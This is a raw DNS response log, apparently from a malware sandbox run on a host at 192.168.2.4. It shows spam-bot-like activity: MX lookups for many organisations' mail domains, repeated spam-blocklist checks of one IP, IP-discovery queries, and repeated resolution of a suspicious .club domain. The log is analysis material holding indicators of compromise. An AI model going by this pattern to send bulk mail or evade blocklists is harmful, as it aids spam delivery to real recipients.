Sep 7, 2021 16:03:19.692019939 CEST	8.8.8.8	192.168.2.4	0x75cc	No error (0)	www.google.com		142.250.102.99	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.692019939 CEST	8.8.8.8	192.168.2.4	0x75cc	No error (0)	www.google.com		142.250.102.104	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.692019939 CEST	8.8.8.8	192.168.2.4	0x75cc	No error (0)	www.google.com		142.250.102.147	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.692019939 CEST	8.8.8.8	192.168.2.4	0x75cc	No error (0)	www.google.com		142.250.102.105	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.692019939 CEST	8.8.8.8	192.168.2.4	0x75cc	No error (0)	www.google.com		142.250.102.106	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.700680971 CEST	8.8.8.8	192.168.2.4	0xef88	No error (0)	freemail.hu			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:19.743973017 CEST	8.8.8.8	192.168.2.4	0xe387	No error (0)	www.google.com		142.250.102.103	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.743973017 CEST	8.8.8.8	192.168.2.4	0xe387	No error (0)	www.google.com		142.250.102.105	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.743973017 CEST	8.8.8.8	192.168.2.4	0xe387	No error (0)	www.google.com		142.250.102.147	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.743973017 CEST	8.8.8.8	192.168.2.4	0xe387	No error (0)	www.google.com		142.250.102.99	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.743973017 CEST	8.8.8.8	192.168.2.4	0xe387	No error (0)	www.google.com		142.250.102.106	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.743973017 CEST	8.8.8.8	192.168.2.4	0xe387	No error (0)	www.google.com		142.250.102.104	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.758379936 CEST	8.8.8.8	192.168.2.4	0x9383	No error (0)	fmx.freemail.hu		84.2.43.65	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.826906919 CEST	156.154.71.1	192.168.2.4	0x100	No error (0)	41.52.17.84.in-addr.arpa			PTR (Pointer record)	IN (0x0001)
Sep 7, 2021 16:03:19.842231035 CEST	8.8.8.8	192.168.2.4	0xc2bd	Name error (3)	41.52.17.84.cbl.abuseat.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:20.128370047 CEST	8.8.8.8	192.168.2.4	0x1ac7	Name error (3)	41.52.17.84.dnsbl.sorbs.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:20.197772980 CEST	8.8.8.8	192.168.2.4	0x815	No error (0)	www.google.com		142.250.102.103	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:20.197772980 CEST	8.8.8.8	192.168.2.4	0x815	No error (0)	www.google.com		142.250.102.99	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:20.197772980 CEST	8.8.8.8	192.168.2.4	0x815	No error (0)	www.google.com		142.250.102.104	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:20.197772980 CEST	8.8.8.8	192.168.2.4	0x815	No error (0)	www.google.com		142.250.102.147	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:20.197772980 CEST	8.8.8.8	192.168.2.4	0x815	No error (0)	www.google.com		142.250.102.105	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:20.197772980 CEST	8.8.8.8	192.168.2.4	0x815	No error (0)	www.google.com		142.250.102.106	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:20.218983889 CEST	8.8.8.8	192.168.2.4	0xa740	No error (0)	41.52.17.84.in-addr.arpa			PTR (Pointer record)	IN (0x0001)
Sep 7, 2021 16:03:20.518990993 CEST	8.8.8.8	192.168.2.4	0x55f9	No error (0)	spriggsfamily.org			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:20.518990993 CEST	8.8.8.8	192.168.2.4	0x55f9	No error (0)	spriggsfamily.org			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:20.518990993 CEST	8.8.8.8	192.168.2.4	0x55f9	No error (0)	spriggsfamily.org			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:20.518990993 CEST	8.8.8.8	192.168.2.4	0x55f9	No error (0)	spriggsfamily.org			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:20.518990993 CEST	8.8.8.8	192.168.2.4	0x55f9	No error (0)	spriggsfamily.org			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:21.529468060 CEST	8.8.8.8	192.168.2.4	0x1c1e	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:21.766649008 CEST	8.8.8.8	192.168.2.4	0x946a	No error (0)	sympatico.ca			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:21.797686100 CEST	8.8.8.8	192.168.2.4	0x625e	No error (0)	www.google.com		142.250.102.103	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:21.797686100 CEST	8.8.8.8	192.168.2.4	0x625e	No error (0)	www.google.com		142.250.102.105	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:21.797686100 CEST	8.8.8.8	192.168.2.4	0x625e	No error (0)	www.google.com		142.250.102.147	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:21.797686100 CEST	8.8.8.8	192.168.2.4	0x625e	No error (0)	www.google.com		142.250.102.99	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:21.797686100 CEST	8.8.8.8	192.168.2.4	0x625e	No error (0)	www.google.com		142.250.102.106	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:21.797686100 CEST	8.8.8.8	192.168.2.4	0x625e	No error (0)	www.google.com		142.250.102.104	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:21.807857990 CEST	8.8.8.8	192.168.2.4	0x242	Name error (3)	41.52.17.84.bl.spamcop.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:21.818758965 CEST	8.8.8.8	192.168.2.4	0xd8a9	No error (0)	aspmx.l.google.com		108.177.119.27	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.204703093 CEST	8.8.8.8	192.168.2.4	0x4b55	No error (0)	vipmail.hu			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:22.208920956 CEST	8.8.8.8	192.168.2.4	0x3f47	No error (0)	mxmta.owm.bell.net		209.71.212.24	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.258306980 CEST	8.8.8.8	192.168.2.4	0xab97	No error (0)	www.google.com		142.250.102.147	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.258306980 CEST	8.8.8.8	192.168.2.4	0xab97	No error (0)	www.google.com		142.250.102.106	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.258306980 CEST	8.8.8.8	192.168.2.4	0xab97	No error (0)	www.google.com		142.250.102.103	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.258306980 CEST	8.8.8.8	192.168.2.4	0xab97	No error (0)	www.google.com		142.250.102.99	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.258306980 CEST	8.8.8.8	192.168.2.4	0xab97	No error (0)	www.google.com		142.250.102.105	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.258306980 CEST	8.8.8.8	192.168.2.4	0xab97	No error (0)	www.google.com		142.250.102.104	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.273752928 CEST	8.8.8.8	192.168.2.4	0x9987	No error (0)	mail01.indamail.hu		91.83.45.41	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.275435925 CEST	8.8.8.8	192.168.2.4	0x37eb	Name error (3)	41.52.17.84.zen.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.665203094 CEST	8.8.8.8	192.168.2.4	0x5e1c	No error (0)	thecrossfamily.org			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:22.665203094 CEST	8.8.8.8	192.168.2.4	0x5e1c	No error (0)	thecrossfamily.org			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:22.665203094 CEST	8.8.8.8	192.168.2.4	0x5e1c	No error (0)	thecrossfamily.org			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:22.665203094 CEST	8.8.8.8	192.168.2.4	0x5e1c	No error (0)	thecrossfamily.org			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:22.665203094 CEST	8.8.8.8	192.168.2.4	0x5e1c	No error (0)	thecrossfamily.org			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:22.781577110 CEST	8.8.8.8	192.168.2.4	0x6709	No error (0)	aspmx.l.google.com		108.177.119.27	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.786231995 CEST	8.8.8.8	192.168.2.4	0x3845	Name error (3)	41.52.17.84.sbl-xbl.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.866549969 CEST	8.8.8.8	192.168.2.4	0xe604	Name error (3)	41.52.17.84.cbl.abuseat.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:22.934448004 CEST	8.8.8.8	192.168.2.4	0x5694	No error (0)	mx.videotron.ca		24.201.245.37	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:23.102436066 CEST	8.8.8.8	192.168.2.4	0xd062	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:23.629398108 CEST	8.8.8.8	192.168.2.4	0xba25	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:28.007924080 CEST	8.8.8.8	192.168.2.4	0x6667	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:28.200057983 CEST	8.8.8.8	192.168.2.4	0x4404	No error (0)	kpmg.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:28.200057983 CEST	8.8.8.8	192.168.2.4	0x4404	No error (0)	kpmg.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:28.200057983 CEST	8.8.8.8	192.168.2.4	0x4404	No error (0)	kpmg.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:28.200057983 CEST	8.8.8.8	192.168.2.4	0x4404	No error (0)	kpmg.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:28.272682905 CEST	8.8.8.8	192.168.2.4	0x6dd6	No error (0)	mxb-00120b03.gslb.pphosted.com		185.132.182.62	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:28.316482067 CEST	8.8.8.8	192.168.2.4	0x5e9b	No error (0)	cng.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:28.316482067 CEST	8.8.8.8	192.168.2.4	0x5e9b	No error (0)	cng.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:28.724564075 CEST	8.8.8.8	192.168.2.4	0x2ac	No error (0)	smtp-fw.cng.fr		193.50.2.13	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:28.788872957 CEST	8.8.8.8	192.168.2.4	0x3b20	No error (0)	simec-ing.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:28.830562115 CEST	8.8.8.8	192.168.2.4	0x3362	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:29.545588017 CEST	8.8.8.8	192.168.2.4	0x4f15	No error (0)	tpgpackaging.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:29.545588017 CEST	8.8.8.8	192.168.2.4	0x4f15	No error (0)	tpgpackaging.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:29.545588017 CEST	8.8.8.8	192.168.2.4	0x4f15	No error (0)	tpgpackaging.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:29.545588017 CEST	8.8.8.8	192.168.2.4	0x4f15	No error (0)	tpgpackaging.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:29.552153111 CEST	8.8.8.8	192.168.2.4	0x5a30	No error (0)	mail.simec-ing.fr		77.74.208.206	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:29.855269909 CEST	8.8.8.8	192.168.2.4	0x734d	No error (0)	mx03.cloud.vadesecure.com		52.47.149.86	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:30.337518930 CEST	8.8.8.8	192.168.2.4	0x601d	No error (0)	starling.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:30.337518930 CEST	8.8.8.8	192.168.2.4	0x601d	No error (0)	starling.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:30.520447969 CEST	8.8.8.8	192.168.2.4	0x7860	No error (0)	mxa-001d1702.gslb.pphosted.com		91.207.212.191	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:31.166169882 CEST	8.8.8.8	192.168.2.4	0x31c3	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:31.440201044 CEST	8.8.8.8	192.168.2.4	0x94a4	No error (0)	etna-learning.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:31.440201044 CEST	8.8.8.8	192.168.2.4	0x94a4	No error (0)	etna-learning.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:31.440201044 CEST	8.8.8.8	192.168.2.4	0x94a4	No error (0)	etna-learning.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:31.440201044 CEST	8.8.8.8	192.168.2.4	0x94a4	No error (0)	etna-learning.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:31.440201044 CEST	8.8.8.8	192.168.2.4	0x94a4	No error (0)	etna-learning.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:31.502312899 CEST	8.8.8.8	192.168.2.4	0x5c42	No error (0)	aspmx.l.google.com		108.177.119.27	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:31.580177069 CEST	8.8.8.8	192.168.2.4	0x7bb4	No error (0)	semantech.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:31.580177069 CEST	8.8.8.8	192.168.2.4	0x7bb4	No error (0)	semantech.fr			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:31.775513887 CEST	8.8.8.8	192.168.2.4	0xf045	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:32.110585928 CEST	8.8.8.8	192.168.2.4	0xbe0f	No error (0)	mx14.mail.magic.fr		188.130.11.227	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:32.615083933 CEST	8.8.8.8	192.168.2.4	0x4dc9	Name error (3)	41.52.17.84.dnsbl.sorbs.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:32.681698084 CEST	8.8.8.8	192.168.2.4	0xf71d	Name error (3)	41.52.17.84.bl.spamcop.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:32.755415916 CEST	8.8.8.8	192.168.2.4	0x51c	Name error (3)	41.52.17.84.zen.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:32.864542961 CEST	8.8.8.8	192.168.2.4	0x5951	Name error (3)	41.52.17.84.sbl-xbl.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.062745094 CEST	8.8.8.8	192.168.2.4	0x2e86	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.212.0	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.062745094 CEST	8.8.8.8	192.168.2.4	0x2e86	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.0	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.132414103 CEST	8.8.8.8	192.168.2.4	0xe6cb	Name error (3)	41.52.17.84.cbl.abuseat.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.179575920 CEST	8.8.8.8	192.168.2.4	0x8abd	Name error (3)	41.52.17.84.dnsbl.sorbs.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.237915993 CEST	8.8.8.8	192.168.2.4	0x69fc	Name error (3)	41.52.17.84.bl.spamcop.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.559791088 CEST	8.8.8.8	192.168.2.4	0xf1a4	Name error (3)	41.52.17.84.zen.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.564264059 CEST	8.8.8.8	192.168.2.4	0x9f6a	No error (0)	patel-legal.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:33.564264059 CEST	8.8.8.8	192.168.2.4	0x9f6a	No error (0)	patel-legal.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:33.564264059 CEST	8.8.8.8	192.168.2.4	0x9f6a	No error (0)	patel-legal.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:33.564264059 CEST	8.8.8.8	192.168.2.4	0x9f6a	No error (0)	patel-legal.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:33.564264059 CEST	8.8.8.8	192.168.2.4	0x9f6a	No error (0)	patel-legal.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:33.630413055 CEST	8.8.8.8	192.168.2.4	0x6fb5	Name error (3)	41.52.17.84.sbl-xbl.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.648789883 CEST	8.8.8.8	192.168.2.4	0xf182	No error (0)	aspmx.l.google.com		108.177.127.27	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.766064882 CEST	8.8.8.8	192.168.2.4	0xe7db	No error (0)	builder.pp.ru		185.244.41.39	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.785254002 CEST	8.8.8.8	192.168.2.4	0xa6b2	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:33.785254002 CEST	8.8.8.8	192.168.2.4	0xa6b2	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:33.817609072 CEST	8.8.8.8	192.168.2.4	0xff1d	Name error (3)	41.52.17.84.cbl.abuseat.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:33.846065044 CEST	8.8.8.8	192.168.2.4	0x5208	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:34.505520105 CEST	8.8.8.8	192.168.2.4	0xc140	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.233242035 CEST	8.8.8.8	192.168.2.4	0xe568	No error (0)	abclegal.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:35.233242035 CEST	8.8.8.8	192.168.2.4	0xe568	No error (0)	abclegal.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:35.283799887 CEST	8.8.8.8	192.168.2.4	0xa4b0	No error (0)	d138221a.ess.barracudanetworks.com		209.222.82.255	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.283799887 CEST	8.8.8.8	192.168.2.4	0xa4b0	No error (0)	d138221a.ess.barracudanetworks.com		209.222.82.253	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.283799887 CEST	8.8.8.8	192.168.2.4	0xa4b0	No error (0)	d138221a.ess.barracudanetworks.com		209.222.82.252	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.356376886 CEST	8.8.8.8	192.168.2.4	0x2e32	No error (0)	r3dlegal.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:35.356376886 CEST	8.8.8.8	192.168.2.4	0x2e32	No error (0)	r3dlegal.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:35.356376886 CEST	8.8.8.8	192.168.2.4	0x2e32	No error (0)	r3dlegal.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:35.356376886 CEST	8.8.8.8	192.168.2.4	0x2e32	No error (0)	r3dlegal.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:35.356376886 CEST	8.8.8.8	192.168.2.4	0x2e32	No error (0)	r3dlegal.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:35.366283894 CEST	8.8.8.8	192.168.2.4	0x9ef2	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.604336977 CEST	8.8.8.8	192.168.2.4	0xca63	No error (0)	rocketmail.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:35.604336977 CEST	8.8.8.8	192.168.2.4	0xca63	No error (0)	rocketmail.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:35.604336977 CEST	8.8.8.8	192.168.2.4	0xca63	No error (0)	rocketmail.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:35.630722046 CEST	8.8.8.8	192.168.2.4	0x6e45	No error (0)	aspmx.l.google.com		108.177.127.27	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.678216934 CEST	8.8.8.8	192.168.2.4	0x8392	No error (0)	mta7.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.678216934 CEST	8.8.8.8	192.168.2.4	0x8392	No error (0)	mta7.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.678216934 CEST	8.8.8.8	192.168.2.4	0x8392	No error (0)	mta7.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.678216934 CEST	8.8.8.8	192.168.2.4	0x8392	No error (0)	mta7.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.678216934 CEST	8.8.8.8	192.168.2.4	0x8392	No error (0)	mta7.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.678216934 CEST	8.8.8.8	192.168.2.4	0x8392	No error (0)	mta7.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.678216934 CEST	8.8.8.8	192.168.2.4	0x8392	No error (0)	mta7.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:35.678216934 CEST	8.8.8.8	192.168.2.4	0x8392	No error (0)	mta7.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:36.849721909 CEST	8.8.8.8	192.168.2.4	0xce49	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:38.107008934 CEST	8.8.8.8	192.168.2.4	0xeae9	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Sep 7, 2021 16:03:38.151974916 CEST	8.8.8.8	192.168.2.4	0xdd3c	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Sep 7, 2021 16:03:41.215801001 CEST	8.8.8.8	192.168.2.4	0x8e75	No error (0)	rathinfotech.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:41.215801001 CEST	8.8.8.8	192.168.2.4	0x8e75	No error (0)	rathinfotech.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:41.215801001 CEST	8.8.8.8	192.168.2.4	0x8e75	No error (0)	rathinfotech.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:41.215801001 CEST	8.8.8.8	192.168.2.4	0x8e75	No error (0)	rathinfotech.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:41.215801001 CEST	8.8.8.8	192.168.2.4	0x8e75	No error (0)	rathinfotech.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:41.329586983 CEST	8.8.8.8	192.168.2.4	0x832	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:41.337847948 CEST	8.8.8.8	192.168.2.4	0x3e7a	No error (0)	aspmx.l.google.com		108.177.119.27	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:42.507920980 CEST	8.8.8.8	192.168.2.4	0x832f	No error (0)	elabsinfotech.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:42.507920980 CEST	8.8.8.8	192.168.2.4	0x832f	No error (0)	elabsinfotech.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:42.507920980 CEST	8.8.8.8	192.168.2.4	0x832f	No error (0)	elabsinfotech.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:42.507920980 CEST	8.8.8.8	192.168.2.4	0x832f	No error (0)	elabsinfotech.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:42.507920980 CEST	8.8.8.8	192.168.2.4	0x832f	No error (0)	elabsinfotech.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:42.783956051 CEST	8.8.8.8	192.168.2.4	0x7e92	No error (0)	aspmx.l.google.com		108.177.127.27	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:42.831301928 CEST	8.8.8.8	192.168.2.4	0xa1d7	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:43.969871044 CEST	8.8.8.8	192.168.2.4	0x7fb8	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:44.657018900 CEST	8.8.8.8	192.168.2.4	0x23c1	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:45.388868093 CEST	8.8.8.8	192.168.2.4	0xc71e	No error (0)	mx2.comcast.net		68.87.20.5	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:45.912406921 CEST	8.8.8.8	192.168.2.4	0x6117	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Sep 7, 2021 16:03:45.986076117 CEST	8.8.8.8	192.168.2.4	0xdc21	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Sep 7, 2021 16:03:47.563349009 CEST	8.8.8.8	192.168.2.4	0xc5c4	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:54.753258944 CEST	8.8.8.8	192.168.2.4	0xffb	Name error (3)	41.52.17.84.dnsbl.sorbs.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:54.833208084 CEST	8.8.8.8	192.168.2.4	0xc67d	Name error (3)	41.52.17.84.bl.spamcop.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:54.930156946 CEST	8.8.8.8	192.168.2.4	0x9448	Name error (3)	41.52.17.84.zen.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:55.198153019 CEST	8.8.8.8	192.168.2.4	0xbf0d	Name error (3)	41.52.17.84.sbl-xbl.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:55.318866968 CEST	8.8.8.8	192.168.2.4	0x540b	Name error (3)	41.52.17.84.cbl.abuseat.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:55.401158094 CEST	8.8.8.8	192.168.2.4	0x1081	Name error (3)	41.52.17.84.dnsbl.sorbs.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:55.790457010 CEST	8.8.8.8	192.168.2.4	0xe354	Name error (3)	41.52.17.84.bl.spamcop.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:55.968755960 CEST	8.8.8.8	192.168.2.4	0xe908	Name error (3)	41.52.17.84.zen.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:56.089487076 CEST	8.8.8.8	192.168.2.4	0x5efb	Name error (3)	41.52.17.84.sbl-xbl.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:56.246110916 CEST	8.8.8.8	192.168.2.4	0xe2db	Name error (3)	41.52.17.84.cbl.abuseat.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:56.276205063 CEST	8.8.8.8	192.168.2.4	0x1f59	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.1	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:56.276205063 CEST	8.8.8.8	192.168.2.4	0x1f59	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.0	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:58.545569897 CEST	8.8.8.8	192.168.2.4	0xb4b8	No error (0)	att.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:58.545569897 CEST	8.8.8.8	192.168.2.4	0xb4b8	No error (0)	att.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:58.545569897 CEST	8.8.8.8	192.168.2.4	0xb4b8	No error (0)	att.net			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:58.545569897 CEST	8.8.8.8	192.168.2.4	0xb4b8	No error (0)	att.net			MX (Mail exchange)	IN (0x0001)
